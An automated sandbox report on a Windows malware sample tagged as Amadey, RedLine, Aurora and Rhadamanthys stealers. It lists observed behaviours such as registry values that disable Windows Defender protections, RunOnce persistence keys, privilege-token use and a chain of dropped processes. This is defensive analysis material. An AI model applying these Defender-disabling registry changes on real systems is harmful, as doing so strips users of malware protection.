Malware Analysis Report

2024-11-13 17:10

Sample ID 230321-s7btgsbg67
Target a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96
SHA256 a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96
Tags
amadey aurora redline rhadamanthys gena vint discovery evasion infostealer persistence spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96

Threat Level: Known bad

The file a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96 was found to be: Known bad.

Malicious Activity Summary

amadey aurora redline rhadamanthys gena vint discovery evasion infostealer persistence spyware stealer trojan

Aurora

RedLine payload

RedLine

Modifies Windows Defender Real-time Protection settings

Amadey

Rhadamanthys

Detect rhadamanthys stealer shellcode

Downloads MZ/PE file

Blocklisted process makes network request

Windows security modification

Executes dropped EXE

Loads dropped DLL

Checks computer location settings

Reads user/profile data of web browsers

Checks installed software on the system

Adds Run key to start application

Accesses cryptocurrency files/wallets, possible credential harvesting

Suspicious use of NtSetInformationThreadHideFromDebugger

Enumerates physical storage devices

Program crash

Suspicious behavior: EnumeratesProcesses

Creates scheduled task(s)

Checks SCSI registry key(s)

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Runs ping.exe

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-03-21 15:45

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-03-21 15:45

Reported

2023-03-21 15:48

Platform

win10v2004-20230220-en

Max time kernel

143s

Max time network

128s

Command Line

"C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe"

Signatures

Amadey

trojan amadey

Aurora

stealer aurora

Detect rhadamanthys stealer shellcode

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Rhadamanthys

stealer rhadamanthys

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\rundll32.exe N/A

Reads user/profile data of web browsers

spyware stealer

Windows security modification

evasion trojan
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe N/A
Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe N/A

Checks installed software on the system

discovery

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Runs ping.exe

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\PING.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: 36 N/A C:\Windows\SysWOW64\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2136 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe
PID 2136 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe
PID 2136 wrote to memory of 1356 N/A C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe
PID 1356 wrote to memory of 4008 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe
PID 1356 wrote to memory of 4008 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe
PID 1356 wrote to memory of 4008 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe
PID 4008 wrote to memory of 4516 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe
PID 4008 wrote to memory of 4516 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe
PID 4008 wrote to memory of 4516 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe
PID 4516 wrote to memory of 320 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe
PID 4516 wrote to memory of 320 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe
PID 4516 wrote to memory of 4568 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe
PID 4516 wrote to memory of 4568 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe
PID 4516 wrote to memory of 4568 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe
PID 4008 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe
PID 4008 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe
PID 4008 wrote to memory of 2880 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe
PID 1356 wrote to memory of 4204 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exe
PID 1356 wrote to memory of 4204 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exe
PID 1356 wrote to memory of 4204 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exe
PID 2136 wrote to memory of 3976 N/A C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe
PID 2136 wrote to memory of 3976 N/A C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe
PID 2136 wrote to memory of 3976 N/A C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe
PID 3976 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
PID 3976 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
PID 3976 wrote to memory of 4600 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
PID 4600 wrote to memory of 5032 N/A C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe C:\Windows\SysWOW64\schtasks.exe
PID 4600 wrote to memory of 5032 N/A C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe C:\Windows\SysWOW64\schtasks.exe
PID 4600 wrote to memory of 5032 N/A C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe C:\Windows\SysWOW64\schtasks.exe
PID 4600 wrote to memory of 3172 N/A C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe C:\Windows\SysWOW64\cmd.exe
PID 4600 wrote to memory of 3172 N/A C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe C:\Windows\SysWOW64\cmd.exe
PID 4600 wrote to memory of 3172 N/A C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe C:\Windows\SysWOW64\cmd.exe
PID 3172 wrote to memory of 4572 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3172 wrote to memory of 4572 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3172 wrote to memory of 4572 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3172 wrote to memory of 2596 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3172 wrote to memory of 2596 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3172 wrote to memory of 2596 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3172 wrote to memory of 1996 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3172 wrote to memory of 1996 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3172 wrote to memory of 1996 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3172 wrote to memory of 1384 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3172 wrote to memory of 1384 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3172 wrote to memory of 1384 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 3172 wrote to memory of 4496 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3172 wrote to memory of 4496 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3172 wrote to memory of 4496 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3172 wrote to memory of 1288 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3172 wrote to memory of 1288 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 3172 wrote to memory of 1288 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cacls.exe
PID 4600 wrote to memory of 4300 N/A C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe
PID 4600 wrote to memory of 4300 N/A C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe
PID 4600 wrote to memory of 4300 N/A C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe
PID 4300 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe C:\Windows\system32\cmd.exe
PID 4300 wrote to memory of 1216 N/A C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe C:\Windows\system32\cmd.exe
PID 1216 wrote to memory of 1712 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1216 wrote to memory of 1712 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4300 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4300 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe C:\Windows\SysWOW64\cmd.exe
PID 4300 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\1000115001\sqlcmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2664 wrote to memory of 4904 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 2664 wrote to memory of 4904 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 2664 wrote to memory of 4904 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\PING.EXE
PID 4600 wrote to memory of 3920 N/A C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe C:\Users\Admin\AppData\Local\Temp\1000116001\serv.exe

Processes

C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe

"C:\Users\Admin\AppData\Local\Temp\a8548f20f5d65b11e68755717bc0536c0021f3cd0ce1fcbbafd67a64ad226d96.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap4085.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap6422.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap2780.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz2771.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe

C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v5993Vk.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4568 -ip 4568

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 4568 -s 1076

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w12dE63.exe

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2880 -ip 2880

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 2880 -s 1092

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xosxF25.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y91IN20.exe

